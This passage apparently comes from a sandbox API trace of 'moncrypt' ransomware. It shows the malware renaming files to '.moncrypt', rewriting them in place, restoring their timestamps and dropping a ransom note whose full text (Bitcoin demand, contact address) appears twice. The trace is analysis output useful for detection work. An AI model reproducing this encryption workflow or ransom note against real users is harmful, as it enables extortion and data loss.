lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngShared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 4 [0054.524] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.525] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d88*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0054.526] CloseHandle (hObject=0x18c) returned 1 [0054.526] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\я")) returned 1 [0054.527] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x75da, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0x54e240 [0054.527] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0054.527] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0054.527] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0054.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", dwFileAttributes=0x20) returned 1 [0054.529] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0054.529] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.moncrypt")) returned 1 [0054.532] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.532] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0054.532] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x75da [0054.532] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0054.532] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0054.534] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.534] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0054.534] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0054.534] GlobalUnlock (hMem=0x44000c) returned 0 [0054.534] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0054.534] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0054.535] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0054.535] GlobalUnlock (hMem=0x44000c) returned 0 [0054.535] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0054.535] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0054.535] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.535] GlobalUnlock (hMem=0x440004) returned 0 [0054.535] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0054.535] GlobalUnlock (hMem=0x44000c) returned 0 [0054.535] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.535] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.535] GlobalUnlock (hMem=0x44000c) returned 0 [0054.535] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0054.535] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.535] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.535] GlobalUnlock (hMem=0x44000c) returned 0 [0054.535] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0054.535] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0054.535] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0054.535] SetFilePointer (in: hFile=0x18c, lDistanceToMove=30170, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x75da [0054.535] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0054.535] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0054.536] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0054.547] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0054.547] CloseHandle (hObject=0x18c) returned 1 [0054.548] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.548] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0054.549] CloseHandle (hObject=0x18c) returned 1 [0054.549] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0054.549] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0054.549] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.549] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.549] GlobalUnlock (hMem=0x44000c) returned 0 [0054.549] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.549] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.549] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.549] GlobalUnlock (hMem=0x44000c) returned 0 [0054.549] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.549] GlobalUnlock (hMem=0x440004) returned 0 [0054.549] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0054.549] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a660, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0054.550] GetLastError () returned 0x2 [0054.550] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.552] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0054.553] CloseHandle (hObject=0x18c) returned 1 [0054.553] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37d2a200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37d2a200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.ELM", cAlternateFileName="")) returned 1 [0054.553] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.553] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.554] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.554] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.554] GlobalUnlock (hMem=0x440004) returned 0 [0054.554] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.554] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.554] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.554] GlobalUnlock (hMem=0x440004) returned 0 [0054.554] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.554] GlobalUnlock (hMem=0x44000c) returned 0 [0054.554] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.554] CharLowerBuffW (in: lpsz="WATERMAR.ELM", cchLength=0xc | out: lpsz="watermar.elm") returned 0xc [0054.554] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.554] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.554] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.554] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.554] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.554] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.554] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.554] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.554] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.554] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.554] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.554] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.555] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0054.555] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", cchWideChar=77, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpUsedDefaultChar=0x0) returned 77 [0054.555] CharLowerBuffW (in: lpsz=".ELM", cchLength=0x4 | out: lpsz=".elm") returned 0x4 [0054.555] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".elm", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".elmShared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpUsedDefaultChar=0x0) returned 4 [0054.555] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37d2a200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37d2a200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.ELM", cAlternateFileName="")) returned 0x54e240 [0054.555] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0054.555] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0054.555] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0054.555] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", dwFileAttributes=0x20) returned 1 [0054.557] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0054.557] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm.moncrypt")) returned 1 [0054.557] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.557] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0054.558] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0xbfc6 [0054.558] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0054.558] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0054.560] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.560] GlobalLock (hMem=0x440004) returned 0x55bb88 [0054.560] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0054.560] GlobalUnlock (hMem=0x440004) returned 0 [0054.560] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0054.561] GlobalLock (hMem=0x440004) returned 0x55bb88 [0054.561] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0054.561] GlobalUnlock (hMem=0x440004) returned 0 [0054.561] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0054.561] GlobalLock (hMem=0x440004) returned 0x55bb88 [0054.561] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.561] GlobalUnlock (hMem=0x44000c) returned 0 [0054.561] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0054.561] GlobalUnlock (hMem=0x440004) returned 0 [0054.561] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.561] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.561] GlobalUnlock (hMem=0x440004) returned 0 [0054.561] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0054.561] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.561] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.561] GlobalUnlock (hMem=0x440004) returned 0 [0054.561] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0054.561] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0054.561] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0054.562] SetFilePointer (in: hFile=0x18c, lDistanceToMove=49094, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0xbfc6 [0054.562] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0054.562] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0054.562] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0054.573] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0054.573] CloseHandle (hObject=0x18c) returned 1 [0054.574] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.575] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0054.575] CloseHandle (hObject=0x18c) returned 1 [0054.575] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM.moncrypt", dwFileAttributes=0x20) returned 1 [0054.575] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0054.575] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.575] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.575] GlobalUnlock (hMem=0x440004) returned 0 [0054.575] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.575] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.575] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.575] GlobalUnlock (hMem=0x440004) returned 0 [0054.575] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.575] GlobalUnlock (hMem=0x44000c) returned 0 [0054.576] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0054.576] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, 